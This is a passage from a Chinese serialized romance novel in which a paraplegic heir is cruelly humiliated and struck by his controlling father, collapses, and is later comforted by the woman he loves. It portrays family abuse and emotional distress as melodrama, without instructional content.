坐在车前排的谢医生先看到了两辆黄丽胡哨的跑车,他刚出声提醒后方的两人,却随着车的移动,定眼看到了后方劳斯莱斯的车牌。 这是老宅车子的车牌。 谢医生的话在一瞬间戛然而止。 老宅的车,只有一个人会坐。 谢医生转头看向车后方,小心道:“傅总,傅董来了。” 后面的傅瑾承正拉着宋知念的手,听到谢医生的话,他沉默地睁开眼,转头看向窗外。 车窗外,那辆黑色的车如他的名字一样,像一道魅影,沉默地压在了两辆跑车之上,令人喘不过气。 宋知念感到自己的手突然被人攥紧,他用的力气很大,脸上的情绪在一瞬间完全地消失,一双黑眸也突然黯淡了下去,沉默、无光。 “念念。” 傅瑾承转头看向宋知念,他的声音嘶哑了许多,即使刻意想要伪装,却依然能让人察觉到他情绪的转变。 “你先回家好不好,或者我和阿屿说一下,让林芸陪你去逛街。” “怎么了吗?” 宋知念有些疑惑,她看向车窗外的那辆车,所有人似乎都是看了那辆车之后,才变得古怪:“这是谁来了?” “傅行止。” 宋知念知道这个名字,傅家现任族长,傅瑾承和傅祈安的父亲。 傅瑾承勉强笑笑,若无其事地说:“我们两个关系不好。他好久没来了,应该是有事情要和我说。” 岂止是关系不好。 那撞在一起是物理意义上的要死要活了。 前排的谢医生默默地缩起自己,正在思索怎么样才能不让战火波及自己。 他一边思考着自己的逃跑路线,一边联系了还在屋内的团队负责人,让他提前准备好情绪 类的药物,以防不时之需。 消息发出去,也是石沉大海。 谢医生的心里也越发没底。 宋知念并没有听傅瑾承提起过自己的父亲,她听到过他提起过自己离世的母亲和傅祈安,但是并没有提起过那一位在业界享有盛名的傅董事长。 她下意识地抬头看到了谢医生,却见一贯嬉皮笑脸的他也面露担忧,便知晓了问题的严重性。 “那我先回家。” 宋知念探头看了下现在所处的位置,说道:“出了门就是我家后门,我直接回去就好。” 傅瑾承点点头,拍了拍她的手,示意她自己没事。 只是他的脸上,却还是不见一丝的喜意。 他一点也没有许久未见的父子要相见的那种愉悦,更像是将全身的盔甲竖起,随时准备进入进攻的模样。 “那你答应我,解决好事情之后和我说,万一有什么事情发生,随时给我联系?” 车内的气氛实在诡异,宋知念有些不放心,盯着傅瑾承的眼睛问道。 傅瑾承思索了片刻。直到他发誓有什么事情随时联系她之后,宋知念这才从提着包,往自家后门走去。 确认她走进了宋家的大门,傅瑾承疲惫地揉了揉自己的额头。 他沉声道:“准备进去吧。” 有些事情,他不想让她看到,也不想让她知道。 逼死自己妻子的丈夫,厌恶自己儿子的父亲。 如果说车祸只是他身体上的伤口,那么在车祸之后自己父亲的所作所为,无疑是将他推入深渊的那一双手。 屋内,遮光的窗帘全部被紧紧的拉紧,只有几处桌面的小台灯,昏黄的照亮着房间之内。 傅瑾承忍不住想笑。 他是因为病了才喜欢黑暗,而他呢?是因为怕那些被他逼死的冤魂吗? “去给傅董倒水。” 管家一边嘱咐旁边工作人员,一边正在悄声往外退去,他说话的声音都轻上了许多,退出的时候,还小心地控制自己踩在地砖上的力度,努力让自己的鞋和地砖接触的时候不发出一点声响。 远远地见傅瑾承开着轮椅过来,他又赶忙小跑了两步,小心地打开客厅大门。 沉重的门被推开,发出沉闷的移动声。 里面的坐在下方沙发的两人听到了动静,像是得到了主心骨一样站了起来,想要借口推傅瑾承进来,短暂的逃离一下这令人感到压抑的环境。 他们的行动还未来得及付诸实施,就听到里面传来一声低沉的声音: “坐下。” 这道的声音不怒自威,短短的两个字,带着上位者强迫的意味,令两人不由惊颤。 “爸,哥他不方……” 傅祈安勉强争取,却在被自己父亲那一个眼神看来,说话越说越轻:“方便……” “他不方便,你凑上去当他的仆人?”傅父冷笑一声,声音之中的冷意更甚: “那等他死了,你是不是还要给他守个孝?” 他话里的意味太过难听,顾书屿作为外人,也忍不住皱了眉,出声提醒:“傅伯伯。” 他来傅家,也不过是和傅祈安听说傅瑾承这次出院仓促,单纯过来看一眼。 谁知道碰上了傅家的这位。 傅家和顾家开始也是门对门的关系,傅夫人早年还在的时候,和顾书屿的母亲也是好友,对于傅家那些腌腾龌龊的事情,多多少少也知道一些。 顾书屿开了口,傅父没有继续说下去,只是看着刚刚进门的人。 门外的光照进了房间之内,傅瑾承背对着光,房内之内的光影附在脸上,阴阴沉沉、虚虚浮浮,令傅行止也看不清自己儿子脸上的神情。 “让您失望了。” 在一片压抑的氛围之中,傅瑾承终于开了口:“暂时死不了。” 轮椅的轮椅划过地面,成为房间之中唯一的声音,他的轮椅停在傅行止的单人沙发对面,和他平视。 傅瑾承再往前,轮椅的椅子会滚入到地毯的棉绒之中,轮椅在毛绒地毯上的行动终归没有在平地上便利。 “哥。” 傅祈安离傅瑾承最近,他起了身,想要将他的轮椅推到旁边。 他只是微微晃动了下身体,傅行止便知道了自己儿子的意图。 方才那声坐下的回音还在室内徘徊,傅行止不满地蹙眉道:“傅祈安,坐下。” 傅祈安刚刚伸出的手停顿住了,他想要违抗自己父亲的要求,却被傅瑾承阻拦了。 “祈安,坐下休息吧。” 他对着傅祈安微微摇头,左手手指抬起,示意不用。 傅祈安只得坐回到了位置上。 跟随着他进来的谢医生已经自觉的站到了一边家庭医生们站的位置,除了替傅行止倒水的人员,剩下的家政和医护全部老老实实地盯着自己的脚尖,就连大气都不敢喘一个。 轮椅的车轮陷进了软毯之中,那也是离傅行止目前最近的位置,傅瑾承用手又按了按推进,轮椅的轮子发出电动声,却无法向前进一步。 他放弃了继续前进的想法,双手合十,放在膝盖上。 “我听说你想死,怎么现在又死不了了?” 傅行止嫌弃地看着傅瑾承的动作,眼中之中满是厌恶,语气之中满是嘲讽:“就你这副身子,留在这个世界上也并没有什么用,放我们家里,也只是徒留给别人嘲笑的借口。” 他已经被不知道多少人暗地里嘲笑他有个残废的儿子,那些晚宴之中背对着他的窃窃私语,都是在他身后暗自嘲讽他这辈子的败笔。 “这句话,您三年前,就对我说过。” “按照您的想法,在三年前出车祸的那天,我就应该死了,不是吗?”傅瑾承手指微微合拢,脸上却并没有出现被自己父亲嘲讽的任何感伤,他的话很平静,平静到似不觉得傅行止说的话伤人。 他甚至还对傅行止道歉道: “作为一个废物,浪费了您三年的时间,我深感抱歉。” 傅祈安意识到了兄长语气之中的不对,他抬眼往下顾书屿,却看到顾书屿攥紧了手,却没有其他动作。 他是傅瑾承的好友,但他毕竟是外人,在这种场合之中本不应该出现的人。 傅行止皱着眉,上下打量着自己的儿子,像是在打量一个货物一样:“这就是你恨我理由?就因为这样,你让傅祈安把和政府的合作拱手让给了别人?” “仅仅因为,你不承认自己是个废人?” 傅瑾承没有说话,他的眸光冰冷,嘴角却勾着笑。 既不承认,也不否认。 顾书屿知道这个项目,那个项目明面上是傅祈安牵头,但是下面的实际控制人是傅家的老牌高管。 最后因为曝出高管暗箱操纵、官员收受贿赂,双双被捕入狱,这才不了了之。 他还以为,那个项目是傅瑾承想要为傅祈安铺路却失败的结果,现在看来,可能只是这一对父子的局。 沉默之中,傅行止却突然笑来:“老吴做错了事情,着了你们的道,我替他认了。” 他换了个姿势,右腿翘到左腿上,身子前倾,手放在膝盖上,一副进攻睥睨的姿态。 “那你呢?傅瑾承。”傅行止像是抓到了什么把柄一样,笑得肆意。 “你以为,我不知道那个女孩子的存在吗?” “你以为,那个女孩的结局,不会和你母亲一样吗?” 第48章 第48章“傅瑾承,你现在就是个…… 谢医生的踌躇太过明显,傅瑾承的隐瞒又太过刻意。 宋知念回家之后,还是在网上搜索了一圈傅行止的资料。 她知道傅行止,还是之前一次林芸家和傅家做生意亏了钱结果断了林芸生活费的缘故。 林父林母并不会因为一次吃亏而断林芸的零花钱,他们只拿这个亏本的案例教育林芸要牢牢守好铁饭碗和每月定额的工资。 结果他们惊讶地发现,林芸的工资今天到账明天就已经进了商场的营业额之中,两位成功的商人深深觉得孩子的理财观出现了严重的偏差,以至于立刻断了林芸那一个月的零花钱。 虽然问题出在自己的身上,但是林芸坚决不认为自己的享乐主义是一件坏事,当即就把宋知念约 了出来和她的吐槽说傅家的董事长背信弃义的事情。 也就是在那个时候,宋知念第一次对傅行止这个名字有了印象。 ——对待自己人也是用之即去、无用便会舍弃,对待合作对象更是冷酷无情。 这是宋知念对傅行止的第一印象。 网上的消息无一例外都是讲述傅行止的成功人生,傅行止似乎是一个很喜欢接受访谈并且享受他人对他夸赞的商人。 在那些关于他的报道之中,总是有他对于目前行业的分析和判断,那些访谈的照片也不知道是公司提供还是现场的直拍,每一张都显示出了高精尖的修图水平。 从那些访谈还有对于傅氏家族的企业采访之中可以看出,傅行止也并没有林芸所说的那般冷漠。 他礼让下属、对下属关爱有加,他乐于社会公益事业,堪称为一个完美的企业家 而他人生之中对他打击最大的,应该是妻子的亡故,他的妻子是在十几年前亡故的,算了算时间,大概是宋知念读初中的时候。 他似乎很爱自己的妻子,但是并没有怎么提到过自己的儿子,即使提到,也只是匆匆几句便结束。 傅行止在报道中说过:他曾经有个美满的家庭。 这句话在一定程度上,颇有些耐人寻味。 宋知念左想右想,总觉得所有人再提起傅行止的态度,都有些不对劲。 发给谢医生的消息已经石沉大海,发给顾书屿的消息也没有得到他的回应 宋知念趴在窗户上也看不清楚对面楼的情形,她干脆跑下楼,去找今天难得不去厂子里的父母。 宋家的氛围比周边孩子家庭的氛围都要轻松许多,宋父宋母从来不在宋知念面前谈起过多的工作,也很少将她一个人丢在家里。 即使是工作最忙的时候,宋母宋父都会轮流将年幼的宋知念带在身边。 “爸,妈。” 宋知念从茶室门后探出头,望着里面正在泡茶品茗的两人:“你们知道傅行止吗?” 宋母有些惊讶地和宋父对视一眼,笑着询问:“你怎么对傅董感兴趣了?” “我有个朋友。” 宋知念轻咳一声,在父母颇具耐人寻味的目光之下,还是硬着头皮说完:“她对傅家的八卦比较感兴趣,我来替她问问。” 哦? 感受到父母怀疑的目光落在自己身上,宋知念只能强装镇定。 好在,他们一直都是开明的父母。 “傅董和傅家,与我们家的产业接触得不多,我们最多也就是他们下属产业的供货商。” 宋父新烫了个茶杯,在里面倒上今年头采的雨前龙井,示意宋知念过来。 宋知念老老实实坐下,捧着茶杯,入口清香,茶水中带着独有的甘甜。 她家父母自从起家之后,便就迷上了茶,这么多年下来,对于茶叶和泡茶水的讲究,可谓是一绝。 “外界对他们家的情况了解得并不多。”宋父介绍说:“我只大概听说,他和自己两个公子的关系并不好,他的两个公子似乎是有自己的想法,和自己的父亲一直理念不合。” 宋知念了然地点点头,双手撑住脸,一副要听到底的模样。 看方才那两人的态度,如果外面还能说三人父子情深,才称得上是诡异了。 宋父对自己女儿一副赖着不走的样子颇为无奈,他只能继续道:“他们家现在主要是二公子在外面主事,大公子说是出了事,但具体是什么,外界被瞒得严严实实的,没几个人知道他们家的真实情况。” 他们这样的人家,弟弟在外面抛头露面,哥哥在身后把持局面,父亲隐居幕后也算是正常的。 “还有呢?” 见宋知念满脸好奇,宋父手指弯曲,忍不住敲了敲宋知念的脑袋:“你到底想听什么?你爸我像是喜欢知道八卦的人吗?” 宋知念:…… 她马上调转视线,眨巴眨巴眼睛,望向母亲。 宋母嗔怪地瞪了眼宋父,宋父对宋母努嘴摊摊手,让她继续。 “我这边和你爸知道得也差不多。”宋母道:“唯一可说的,就是在傅董妻子去世的时候,有人传言说是他逼死了自己的妻子,还有岳家。” 傅夫人的娘家娄家,在傅夫人去世之前就迅速地衰落了下去,令人奇怪的是,傅家并没有在这个时候去帮他们,而像是落井下石一样狠狠地踩了一脚。 到傅夫人去世之后,这个曾经显赫的家族也是落得死的死伤的伤,傅夫人的弟弟被债主逼得跳楼,傅夫人的父母一时之间承受不住两个儿女接连去世,也双双随着他们去了。 这样的传言越演越烈,直到娄家的小辈们集体迁离杭城,加上傅行止后面从未再娶,这样的流言才渐渐平息。 “那傅行止和他两个儿子之间的关系呢?”宋知念一口饮尽宋父新倒的茶水,继续追问道。 宋父宋母互相看了看,最后还是宋父开了口: “父不像父,子不像子。” 宴会之上,宋父看到过傅家二少毕恭毕敬、小心翼翼站在自己父亲身边的样子。 不像是父子,更像是上司和下属。 当时宋父回家,还和宋母感慨过豪门的艰辛。 “傅家二公子还太年轻,大公子也不知道真实情景如何,不管怎么看来,姜都还是老的辣。” 宋父看着趴在桌子的女儿,眼中带着宠溺,开玩笑道:“怎么?你不是说过自己不喜欢姐弟恋吗?这么好奇,这是看上傅家二公子了?” 傅家大公子太过神秘,宋父可不认为自己女儿会和他有接触。 “咳咳咳。” 宋知念直接被一口茶呛到,刺激地连连摆手。 “慢点喝。”宋母拍拍宋知念的后背,看向宋父的目光之中带上了嫌弃: “好好地,笑话你家闺女干什么。” “傅家有傅行止在,总归是不能淌的浑水。”宋父摊摊手,表情无辜,和在外面工作时候严肃认真的样子截然相反:“这不是关心我们女儿的终身大事吗。” “不是和你说过,念念开心就好吗?” 宋母佯装不满。 “是,是是。” 宋父只得连声求饶。 宋家之内还是一片欢声笑语的模样,而离宋家不过几十米距离的傅家之内,却是一片冰冷和黑暗。 傅祈安坐立难安,在沙发上坐也不是站也不是,在顾书屿面前来回踱步叹气。 “屿哥,我还是进去看看吧。” 他看着顾书屿,唉声道:“我怕我哥和我爸吵起来。” “你能拦得住谁。” 顾书屿被他晃的头晕,他按按额头,颇有些无奈:“你爸和你哥不吵才不正常。” 傅瑾承和傅行止关系差已经不是一天两天的事情,非要说的话,从傅行止囚禁关押自己妻子的那一刻,他和已经懂事的大儿子就已经走到了尽头。 “你爸拿宋学妹威胁你哥,又拿你母亲的事情刺激你哥,你哥也不是泥菩萨。” 顾书屿摇摇头,想要试图按下焦躁不安已经趴到了门上的傅祈安:“放心吧,你哥是那么能任人欺负到他头上的人吗?” 他从认识傅瑾承开始,就知道那不是个任人欺负的主。 一个能在童年时期因为别人嘲笑他母亲而选择隐忍一个月默默地恶狠狠地给对方来上报复的人,一个和傅行止明争暗斗了几年反而让傅行止折了几员老将的人,能会是什么善人。 “可,可那时候我哥身体还好啊。”傅祈安欲哭无泪倒。 傅祈安还记得,在那些无休无止争吵的时候,都是哥哥将他带到了楼上的房间之中去哄他。在母亲去世之后,他几乎是被哥哥带大的,但天生对父亲这个角色的依赖并没有完全地消散。 有许多事情,傅瑾承为了保护他,即使在他长大之后,也只模模糊糊对他说个大概。 这幢别墅的隔音很好,傅祈安都已经趴在了门上,都听不清里面具体的说话声。 他只能听到里面的两道声音越来越高,最后终于在一阵噼里啪啦的声音之后,里面的声音戛然而止。 傅祈安再也等不下去,他拿出了备用钥匙,打开了书房的房门。 里面已经是一片狼藉。 傅瑾承已经脱离轮椅,瘫坐在地上,他的衣领被傅行止拽着,脸上还有刮伤的血痕,身上的尿袋不知道何时已经脱落松开,那些顺着导管流出的液体混杂着腥臊,在屋内蔓延。 门打开的声音刺激到了里面的两人,见傅祈安站在门口,傅瑾承眸光一紧,厉声呵斥道: “傅祈安,关门!” 他从未这般严厉地对傅祈安说过话,这令傅祈安一时之间有些无措:“哥……” “我让你关门!” 傅瑾承怒吼道,他没有继续理会自己的弟弟,而是抓着傅行止的袖口,冷笑道:“这就是你的用意吗,我的父亲。” 让所有人见证他的无能,让所有人围观他的惨败,让所有人来围观他的自尊被踩于地上的样子,让所有人都看到原本天之骄子的他被恶狠狠地按在“残疾”这两个字上失禁的模样。 和三年前,他刚出事的那天一样。 “你看,离开了我、离开了傅家,你什么也不是。”傅行止惬意地松开了手,脸上甚至露出了笑容: “傅瑾承,你现在就是个废物。” 一个废物,怎么还有资格拥有那些他无法拥有的人生? 第49章 第49章即使是我这样的废物 “即使是我这样的废物,也把吴叔叔送了进去,不是吗?” 傅瑾承的半身无力,被傅行止甩开之后,只能用手撑在地上维持自己的平衡。 即使如此,他还是尽力抬起头,随着傅行止讥讽地笑道:“父亲,这样看来,您还不如我这个废物。” 傅行止脸色微变,眼神狠戾,狠狠地甩了傅瑾承一巴掌。 啪—— 傅瑾承是单手侧撑在地上,但因为胸部以下毫无知觉,他的身体重心偏移,几次摇晃之后,还是认命般地倒在地上。 “傅瑾承。” 傅行止转了转自己的手腕,他站在傅瑾承的面前,眼眸淡漠:“三年前还是便宜你了。” 从傅祈安的角度看去,傅瑾承几乎是跪趴在他们父亲的面前,他想要去扶傅瑾承,却被自己的哥哥和父亲说的话惊讶在原地。 傅瑾承几次想要用力把自己的上半身支撑起来,但是不知道是因为地板太滑、又或者是肢体无力的缘故,傅瑾承撑起了几次,却都还是无力地下滑。 “哥!”傅祈安赶忙先跑到了傅瑾承的身边,让他靠坐在了自己的身上。 等确认傅瑾承身体稳定后,傅祈安又看向前面居高临下,身体半撑着靠坐在黑木桌上的傅行止, 兄长和父亲的对话让傅祈安不忍细思。 三年前,傅瑾承刚刚出事的第一个月一直住在监护室,他在知道自己截瘫之后,情绪虽然也曾几度崩溃,但还是撑着吩咐了他和顾书屿一些学校和企业的相关事务,并且都做好了相关的交接和安排。 可变得那般的自暴自弃,那般的哀若心死的模样,是在转到普通病房那一天。 傅行止调整了下傅瑾承的坐姿,将手环绕在傅瑾承的肩上,让他能直接感受到身后的支撑。 身后有人给他借了力,傅瑾承紧绷的身躯微微放松。 他无力的靠在傅祈安的身上,喘着粗气,被傅行止打过的地方已经迅速的泛起了红。 “爸,你做了什么?” 傅行止的死死咬着自己的牙根,质问的句子一个字一个字地从他的口中挤出:“告诉我,三年前您究竟做了什么?” “我做了什么?” 傅行止听到这话,却笑出了声:“我不过是做了我身为公司董事和一位失去妻子的丈夫,应该做的事情。” 他看向傅瑾承的眼神如同弃之如敝屣的垃圾。 “我不过就是,让你哥的心腹和那些意图去讨好他的人,看到了他失禁之后那些护工帮他收拾的模样。” 随着傅行止的话,傅瑾承的脸色骤然惨白。 那是在他转入普通病房的第一天。 傅行止刻意让自己的心腹佯装好意,带着傅瑾承的心腹和那一群觉得老龙已死新龙当立的手下们,一起去医院探望。 傅行止的时间是专门的选过的,他刻意的、选在了傅瑾承因为便秘使用过开塞露之后药效发作的时间。 为此,他还当了一个月的好父亲,每天时不时去问主治医生傅瑾承的情况,并且让秘书拍下来在中间监护室时候傅瑾承每日的时间表,用来进行选择。 结果果然,如他所愿。 在那些傅瑾承的心腹、同事进来的时候,护工正在排**袋之中的尿液,而在那之后,开塞露的功效也让对自己身体失去控制的傅瑾承挡无可挡。 闻到房间之中异味的时候,那些人脸上的表情究竟是如何复杂可怜厌恶的模样,傅行止也不难想象。 “怎么样?被人围观失禁的滋味,应该不错吧?” 傅行止脸上的笑容怡然得意,似乎一点也不觉得自己有错。 “爸,你怎么能!” 傅祈安完全无法置信,他看向自己父亲的目光如同看向一个魔鬼。 他知道自己的父亲的思维非常偏激,可他没想到,当时一步步把傅瑾承的情绪逼到崩溃的人,也有自己父亲的一部分。 愤怒的傅祈安想要放下傅瑾承冲上前去,衣角却被傅瑾承拉住。 傅祈安看向傅瑾承,却看到他的贝齿死死地咬在下唇上,唇齿间已经染上了血迹 情绪的刺激和还未康复的身体让傅瑾承的面色惨白,他忍受着大脑生理性的一阵阵眩晕,却依然坚定地对着傅祈安摇了摇头。 “祈安,别被他激怒。” 傅瑾承和父亲“作对”太久,自然知道,傅行止想看到他们脸上露出什么样的神色。 他想成为他们人生的上帝,将他们的一切都控制在自己的手掌心。 傅行止的脸上挂着如同胜利者般的笑容,他走到兄弟两人的面前,用手指勾起傅瑾承的下颌,轻蔑地说: “傅瑾承,你以为自己还能和之前在公司之中为所欲为,那我就让那些老员工你的心腹看看,在他们眼里应该讨好的下一代继承人,连屎尿都把控不住的人不像人鬼不像鬼的模样。” 傅行止很享受, 他享受着面前猎物无力的呻吟与绝望的哭嚎。 即使猎物是他的儿子。 “傅瑾承,你以为我不知道吗?你母亲以前几次的逃跑,哪一次没有你的身影?” 傅行止嘴角勾起,拿出手帕,擦了擦自己的触碰过傅瑾承的手。 白色的手帕从傅瑾承的面前轻飘飘掉落,最后落于地面之上。 “你以为,这样就结束了吗?” 傅行止就像是个胜利者,高傲地从书房离开。 傅祈安想要上去阻拦,却依然被傅瑾承拦住。 “别…去…” 傅祈安有些不解,他的衣角被傅瑾承死死抓住,他的面上是止不住的慌乱与无措:“为什么,哥,为什么?” 为什么拦住他?为什么一切都不和他说? 傅瑾承重重地喘了几口气,他的心跳越跳越快,连话都说不出来,他视线渐渐模糊,只能看到地面上刚刚因为挣扎而脱落的尿袋,和在地面上流动的液体。 在他意识的最后,那一块白色的手帕渐渐被尿液浸湿,融入于液体之中。 “书屿啊。” 坐在客厅的顾书屿并没有直接参与到父子之间的矛盾之中。 他坐在沙发边,见傅行止出来,先按下了早就编辑好等待给谢医生发送的短信,这才起了身,礼貌性地招呼道:“傅伯伯,慢走。” “书屿越发的出色了。 ” 傅行止的嘴角含着在媒体采访之中最常见的客套而疏离的微笑,还饶有兴致地和顾书屿叙上了旧:“我前天还和你父亲见了面,我还羡慕他有一个这样出色的孩子。” 他摇摇头,想起书房之内的两个儿子,脸上的笑容不减反增:“哪像我,有这两个冤家。” 顾书屿的脸上并没有任何被人夸赞的喜悦,他微微欠身,一副送客的模样。 傅行止自然能看出顾书屿的意图,他的眼角上挑,试图遮掩自己眉目之间的狠戾:“他们两个,还要多靠你的照顾了。” “不敢,不敢。” 哪怕顾书屿是从小和傅行止接触到大的小辈,也只得忍着内心之中的不适,连声道: “我父亲前几天也和我提起了您,让我和您多多学习,等下次我去您那里上门拜访,还要麻烦您多多指点。” 傅行止意味深长地看了顾书屿几眼,倒是难得地应下:“好” 楼上已经传来了脚步声,顾书屿直到将傅行止送至车边,亲眼看着车子开出大门,这才缓缓松了口气。 和傅行止相处,总会让人有种被毒蛇盯上的恐惧感。 但顾书屿必须把傅行止和医生错开,看着他离开才能安心。 顾书屿走回房内,原本被停滞的房间之内迅速已经恢复了正常,医生们推着移动床快步由电梯前往三楼,只留了一个还呆呆愣愣站在原地的傅祈安,站在书房门口,望着床离去的方向。 见到顾书屿,傅祈安的迷茫也没有完全消散:“书屿哥……我哥他……” “没事,你哥撑得下来。” 顾书屿拍拍傅祈安的肩,他知道傅祈安的迷茫,但是有些事情,必须傅瑾承自己告诉他。 那么痛苦的事情,傅瑾承都自己扛下来了,眼见到了这个时候他都有了活着的想法,怎么可能会在这个时候倒下。 “你哥这些年,过得很不容易。” 顾书屿叹了口,也没有多说:“你和宋知念也说一下吧。” “好好好,我去说。” 傅祈安几乎是在顾书屿话音刚落下的时候,便已经跑了出去。 等顾书屿反应过来的时候,只看到了傅祈安的背影。 顾书屿只得沉默地从口袋里拿出手机:…… 别墅前后门之间的距离隔得不远,傅祈安跑到宋家的后门,疯狂地按着门铃。 连续不断的门铃声倒是把宋家的管家吓了一跳,他看着面前几乎可以用蓬头垢面的来形容的傅祈安,问清了来人的身份和意图,去茶室找宋知念。 “傅家公子,有急事?” 宋父本来还想调侃一下自家的闺女所谓的朋友,却看到自家闺女听到管家说是傅家二公子有急事之后,像意识到了什么一样,脸色骤变,猛地站了起来。 “爸妈,”宋知念故作镇定,和父母告别:“我去看看有什么事情。” 她匆匆告别,几乎是小跑的到了后门。 后门处,焦虑不安的傅祈安见到她,就像是见到了主心骨一样。 他上前拉住了宋知念,一个劲把她往傅家拉去。 “念念姐,快去看看我哥,我哥出事了!” 第50章 第50章“念念,我和他不一样。…… 宋知念还来不及细问,就被傅祈安连拖带拉地扯到了傅家。 傅家的三楼,走廊和室内的灯光难得的全部发挥了照明的功能,端着盆子抱着床单被套的家政人员、手中拿着药水的医护,在房间和楼道之中来来往往。 宋知念和傅祈安刚想进门,却被守在门口的顾书屿拦了下来。 “学妹,稍微等一下吧。” 顾书屿望了眼正在床边收拾的护工,身体仍然半拦在门口,他委婉道:“等护工收拾一下,马上就好。” 透过顾书屿的肩膀望去,除了护工,谢医生还有住家护士,也围在床边。 新风系统正在不断地运作着,却仍然难掩房间之内腥臭的气味。 宋知念也不是第一次,闻到这股气味。 见宋知念的目光看向里面,顾书屿自知也隐瞒不了,他只能简单解释: “刚刚插导尿管的时候引发了痉挛,痉挛导致了失禁,刚刚才收拾好,准备重新插导尿管。” 在傅瑾承和傅行止的争执之中,原本固定着的导尿管和尿袋脱落于地上,好在没有造成尿道的损伤,重新插入即可,可也就是插入的时候,出了失禁的事情。 排泄物蜂拥而出,床上垫着的尿垫瞬间被染湿染黑。 可就在这个时候,傅瑾承醒了。 他几乎是立刻就知道发生了什么事情,在顾书屿来不及反应的时候,刚刚固定好的针头就被傅瑾承从自己的手背上一把扯开,鲜血从伤口处喷出。 他甚至觉得这样的自伤还不够,还摸索着想要将刚刚上好药的伤口扒开。 谢医生无法,只能让顾书屿站在旁边安抚他的情绪,再将他的手束缚在床边,不让他挣扎。 “外伤都检查好了,摔倒时候身上划破的伤口已经都上好药了。”想起方才的情景,顾书屿都忍不住擦了把汗,干脆在门口先代谢医生给他们解释: “有些地方伤口比较深,也简单地包扎过了,陈医生已经在过来的路上了,等待会收拾完,学妹可以进去看看。” 谢医生对外伤和康复比较擅长,但是面对傅瑾承的心理波动,他也没有办法。 他们只得联系了下午休息的陈医生,让他马上来傅家,再看看要不要进行心理疏导。 顾书屿一边说着,宋知念也就单纯的应着,但心思明显没有在他的话语之中。 但她知道,这个时候,傅瑾承应该并不愿他们直接进去。 傅瑾承骨子里是个骄傲的人,从她第一天认识他的时候,她就知道了。 “学妹。” 顾书屿转过头,见谢医生给他比了个ok的手势,他侧过身,做出请进的手势:“进去吧。” 跟在宋知念身后的傅祈安想要跟着宋知念一起溜进去,却被眼疾手快的顾书屿一把抓住了衬衫的衣领:“祈安,你就先和我一起在门口吧。” “屿哥,为什么!” 傅祈安有些不甘心,他踮起脚尖又弯下腰,上蹿下跳试图从空隙之中钻进去:“我也想见我哥!” “你哥这时候不适合见你,等你哥心情平复些再进去。”顾书屿一把将傅祈安拉到了门外,反手把门推关上。 见傅祈安还想试图溜走,顾书屿叹了口气,按了按额头,无奈道:“傅祈安,别发小孩子脾气了。” “你想想,自从娄姨去世后,你哥这么多年究竟是为了谁?” 在母亲去世之后,傅瑾承几乎是替代了父母所有的职责,即使是顾书屿,也觉得傅瑾承对于自己这个弟弟太过宠爱。 车祸之后,无论大事小事,傅瑾承也都还是要替弟弟操心。 很多事情,他顾书屿都知道,但为了保护傅祈安,傅瑾承愣是一个字都没有和傅祈安提到过。 “傅祈安,你年纪已经不小,在公司也待了几年,不要每次都和小孩子一样。”顾书屿看向旁边有些不知所措的傅祈安,收起了脸上的笑容,严肃道: “你哥他已经过得够苦了,不要让你哥再替你担心了,好吗?” 说完,顾书屿没有再理会身边的傅祈安,转身下楼。 傅祈安呆呆愣愣地看着面前紧闭的房门,渐渐瘫坐于地上,抱着膝盖低下了头。 房间之内,新风系统已经将屋内的 异味消散得差不多,被褥已经做好,薄薄的空调被盖在傅瑾承的身上,新的尿袋已经垂挂于床边。 “老陈大概还有半小时到。” 谢医生站在床边,对宋知念说道:“他刚刚情绪不稳定,我们先用束缚带束缚住了他,现在好点了,你看要是情绪平稳的话再给他解开。” 他们用束缚带本身也是权宜之计,傅瑾承情绪问题一发作,他们也没有其他办法。 “后面一段时间要好好休养了,”谢医生摇摇头道:“再这么来几下,铁打的人都扛不住。” 身体没好就出院,一出院就发生这样的事情,只能说是有钱人家的是是非非更多。 这么说完,谢医生声音突然小了许多,他指指傅瑾承,几乎是用气音说话:“对了,人是醒着的。” 宋知念点点头。 他是醒着的,眉头紧蹙,双唇紧抿,脸颊上还有一个清晰的巴掌印,一侧脸肿胀着,下半身的脚踝,膝盖处,还能看到些包扎过的伤处。 谢医生和团队的人收拾好东西,给宋知念比了个手势和嘴形,就先开了房门离去。 房间之内,空调的轰鸣声还在继续,仪器时不时发出些滴滴答答的声音。 宋知念叹了口气,坐在床边。 “怎么才一会没见,就把自己折腾成这个样子了?” 宋知念拉过傅瑾承的手,他的手被束腹带固定在床边。 手腕处已经被束腹带磨得泛红,手掌之中也有些伤口,有些是很明显的划伤,还有些摔倒时候的擦伤,就连手背上都还有明显的针头痕迹。 听到宋知念说话,傅瑾承也没有明显的反应,他只是半睁着眼,看着他们相触的手,和手腕处黑色的带子。 “我给你松开,好不好?”宋知念将自己的五指抵在傅瑾承的五指上。 指腹柔软,她的声音轻柔,让他昏胀的大脑似乎有了些许的清明。 “好。” 他的声音很轻,带着浓烈的沙哑,与情绪激动之后的疲惫。 傅瑾承看着她的目光之中带着认真,似乎是在确认她是不是真实存在的一般。 宋知念将固定在他手腕的束腹带松开,包括连打着吊针的那只手。 黑色带子下的手腕泛着红,有些地方似乎是因为刚刚挣扎太重的缘故,还有些发肿。 “痛不痛啊。” 宋知念的手指划过他手腕处的伤口,话中还带着浓烈的不满:“又对自己这么狠地下手。” 他的血液流通不好、皮肤脆弱,常人很快就能愈合的伤口,放在他身上要用上两倍、三倍,甚至更长的时间。 他的手腕被她捧着,那些伤口因为她的轻触涌起一阵阵丝丝的痛感,但他却丝毫不在意,甚至也不想出声提醒。 “痛。” 傅瑾承有些无辜地望着她,他指了指身上的伤口:“我不想受伤的。” 他一开始确实不想受伤,他答应过宋知念要好好地活下去,他不想让自己的身上再添上那些伤痕。 可是,一和傅行止面对面碰上,最后会发展成什么样,就连傅瑾承自己都无法确定。 “是因为你爸爸吗……” 宋知念牵着傅瑾承的手,让他的手指挤进自己的指缝之中,再并拢手指,和他相扣。 方才发生了什么,宋知念具体不知道,她只能靠傅祈安的表情,和前面分别时候的情景猜测,闹到现在这样,应该是因为傅行止的缘故。 “是因为傅行止。” 傅瑾承看着宋知念在自己面前翻动的红唇,眸光微滞。 他想起了傅行止的话。 ——傅瑾承,你是我儿子,你的血液之中流着我的血,即使你再怎么不想承认,我也能感觉出来,你对那个女孩想做的事情,和我对你妈妈的想法,也并没有什么区别。 ——你说我是囚禁我妻子的疯子,你说我是逼死/你妈妈的变态,可你买这幢房子,你深夜去女孩家楼下,你去观察她在生活中的一切,你和我这个疯子变态,又有什么两样? 